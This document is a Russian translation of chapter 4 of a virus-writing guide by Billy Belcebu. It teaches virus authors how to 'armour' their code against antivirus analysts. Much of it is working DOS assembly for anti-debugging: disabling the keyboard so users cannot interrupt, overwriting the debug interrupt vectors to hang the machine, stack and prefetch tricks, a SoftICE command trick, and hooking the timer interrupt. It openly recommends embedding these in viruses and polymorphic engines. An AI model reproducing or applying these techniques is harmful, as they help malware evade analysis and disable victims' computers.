[ Путеводитель по написанию вирусов: 4. Бронирование вашего кода ]

Это очень обсуждаемая тема на сцене. Многие VXеры защищают свой код, чтобы сделать жизнь AVеров намного труднее. Конечно, 
мы говорим об антиотладочных процедурах. Есть много техник, которые мы все знаем... но было бы не плохо привести 
парочку из них здесь... не правда ли?

У этих методов есть много возможных функций. Они очень конфигурабельны. Вы можете сделать свои собственные процедуры для 
вашего вируса. Я думаю, что стоит поместить по крайней мере одну из этих процедур в ваш полиморфный движок (в таблицу 
длинных процедур, как в вирусе Zohra Wintermut'а), чтобы одурачить AVеров, которые пытаются расшифровать наш код.

Очень полезная вещь - это деактивация клавиатуры. Когда мы деактивируем клавиатуру, отлаживающий код не может его больше 
трейсить (F7 в TD). Если пользователь запускает программу на полную скорость... нет проблем. Только int 3 (брикпоинт) 
сделает остальное. Это очень простая вещь, которая работает очень хорошо! Давайте взглянем на код:

     bye_keyb:
            in      al,21h                  ; Давайте деактивируем клавиатуру
            or      al,02h                  ; Попробуйте нажать на любую клавишу
            out     21h,al

     fuck_int3:
            int     3h                      ; Брикпоинт

     exit_adbg:
            in      al,21h                  ; Давайте активируем клавиатуру
            and     al,not 2                ; Теперь клавиатура работает
            out     21h,al                  ; кул :)

Это хороший метод. Подумайте, что вы можете сделать... деактивирование клавиатуры каждый раз, когда наш выполняется наш 
вирус даст следующее: юзер не сможет нажать ^C, поэтому все, что вам нужно сделать, будет сделано. Действительно 
полезная и простая вещь.

Другой метод - это поиграться со стеком. Многие деббугеры спотыкаются об эту простую и старую вещь. Код? Держите:

     do_shit_stack:
            neg     sp
            neg     sp

Просто, а? Вы можете также сделать NOT вместо NEG. Будет тот же результат.

     tons_of_shit:
            not     sp
            not     sp

Что делает NEG? Он увеличивает значение регистра на 1, потом применяет NOT к результату. Hо это очень старый трюк... 
вы можете добавить его, но будет лучше поискать другие, так как это не пройдет со старыми отладчиками вроде Soft-Ice. 
Hо если вы собираетесь сделать полиморфный движок, вы можете добавить простую процедуру вроде этой и AVP будет сосать, 
пытаясь расшифровать ваш код. Хехе... Порождение Касперского сосет! Гхрм... Я забыл кое о чем... TBCLEAN говорит: 
"Достигнут краш стека" :) Ок... продолжаем... Другой метод заключается в переполнении стека:

     overflower:
            mov     ax,sp
            mov     sp,00h
            pop     bx
            mov     sp,ax

Конечно... есть еще. Другой классический трюк заключается в перехвате int 1 и/или int 3. У вас есть много возможностей, 
чтобы сделать это. Хорошо, мы можем предложить вам еще.

     change_int1_and_int3_using_dos:
            mov     ax,2501h                ; AL = INT, который нужно перехватить
            lea     dx,newint
            int     21h
            mov     al,03h
            int     21h
            [...]
     newint:
            jmp     $
            iret                            ; Зачем, если не используется? Хехе :)

Эта процедура может быть названа сторожевой резидентной собакой. Мы рекомендуем вам использовать нижеследующий метод. 
Перехват прямым манипулированием:

     int1:
            xor     ax,ax                   ; Давайте попробуем поместить IRET
                                            ; в INT 1
            mov     es,ax                   ; Hам нужен ES = 0. IVT в 0000:0000
            mov     word ptr es:[1h*4],0FEEBh ; jmp $

     int3:
            xor     ax,ax
            mov     es,ax
            mov     word ptr es:[3h*4],0FEEBh ; jmp $

Если вы не хотите повесить компьютер, просто замените 0FEEBh на 0CF90h (noр и iret [в перевернутом порядке, разумеется]).

Очень классная идея - это сделать так, чтобы int 3 указывал на int 21, а затем использовать его вместо int 21. Это хорошо 
для двух вещей: натянуть отладчики и оптимизировать ваш код... как это поможет оптимизировать ваш код? Опкод int 21 pавен 
CD 21 (занимает два байта), а int 3 - только CC...

Помните, что int 3 - это брикпоинт для отладчиков, поэтому каждый раз, когда вы будете вызывать int 3, отладчик будет 
останавливаться :). Вот сам код:

     getint21:
            mov     ax,3521h                ; Получаем вектора прерываний
            int     21h
            mov     word ptr [int21_ofs],bx
            mov     word ptr [int21_seg],es

            mov     ax,2503h
            lea     dx,jumptoint21
            int     21h
            [...]

     jumptoint21    db      0EAh
     int21          equ     this dword
     int21_ofs      dw      0000h
     int21_seg      dw      0000h

Мы также делаем сравнения со стеком, чтобы знать, не отлаживают ли нас. Вот несколько примеров:

     stack_compares:
            push    ax
            pop     ax
            dec     sp
            dec     sp
            pop     bx
            cmp     ax,bx
            jz      exit_adbg               ; не отлаживают
            jmр     $                       ; вешать компьютеры - это круто :)
     exit_adbg:

Помните запрещать прерывания (cli) и разрешать их снова (sti), если необходимо. Да, есть еще много других методов для 
защиты своего кода. Они, конечно, очень стары, но эй! они работают! Давайте взглянем на следующий... Манипуляци с 
префетчингом очень известны. Я очень люблю этот метод. Давайте взглянем на следующий код:

     prefetch:
            mov     word рtr cs:fake,0FEEBh ; Что, вы думаете, произойдет, если
     fake:  jmp     nekst                   ; код отлаживается? Да, PC повиснет!
     nekst:   
                                  ; А дальше идет просто код

Вы также можете сделать еще больше различных вещей с префетчингом. Вы можете перейти к процедуре или поместить hlt 
(тоже зависон)...

     prefetch_fun:
            mov     word ptr cs:fake2,04CB4h
     fake2: jmp     bye_fake
            int     21h
     bye_fake:

Этот код прервет выполнение вашей программы. Довольно круто. А теперь процедура специально для SoftIce (лучший отладчик 
также одурачен).

По крайней мере так говорят многие люди. Вот сам код:

     soft_ice_fun:
            mov     ax,0911h                ; Функция Soft-ice запуска команды
            mov     di,4647h                ; DI = "FG"
            mov     si,4A4Eh                ; SI = "JM"
            lea     dx,soft_ice_fuck        ; Да!
            int     03h                     ; Int для брикпоинтов

     soft_ice_fuck  db      "bc *",10,0

Другой трюк состоит в том, чтобы перехватить int 8 и поместить туда сравнение переменной в нашем резидентном код, 
потому что многие дебуггеры деактивируют все прерывания, кроме int 8. Данное прерывание запускается 18.2 раз в секунду. 
Я рекомендую сохранить старый обработчик прерывания, прежде чем перехватывать его. Вам нужен код? Вот он:

     save_old_int8_handler:                 ; Вы помните журнал 40-hex?
            mov     ax,3508h                ; Это процедура из 7-го выпуска
            int     21h
            mov     word ptr [int8_ofs],bx
            mov     word ptr [int8_seg],es
            push    bx es
            mov     ah,25h                  ; Помещаем старый обработчик int 8
            lea     dx,virii
            int     21h
     fuckin_loop:
            cmр     fuckvar,1               ; Это вызовет небольшую задержку
            jnz     fuckin_loop
            pop     ds ds

            int     21h
            mov     ax,4C00h
            int     21h

     fuckvar        db      0
     int8           equ     this dword
     int8_ofs       dw      0000h
     int8_seg       dw      0000h
     program:
                    ; bla bla bla
            mov     fuckvar,1
                    ; more and more bla
            jmp     dword ptr [int8]

Запомните урок Demogorgon'а: "Hезащищенный код - это публичное достояние".

Эй! Будьте внимательны, если вам нужно дельта-смещение (т.е. вирусы времени выполнения) и добавьте его... ок?

Продолжение следует...

  (c) Billy Belcebu, пер. Aquila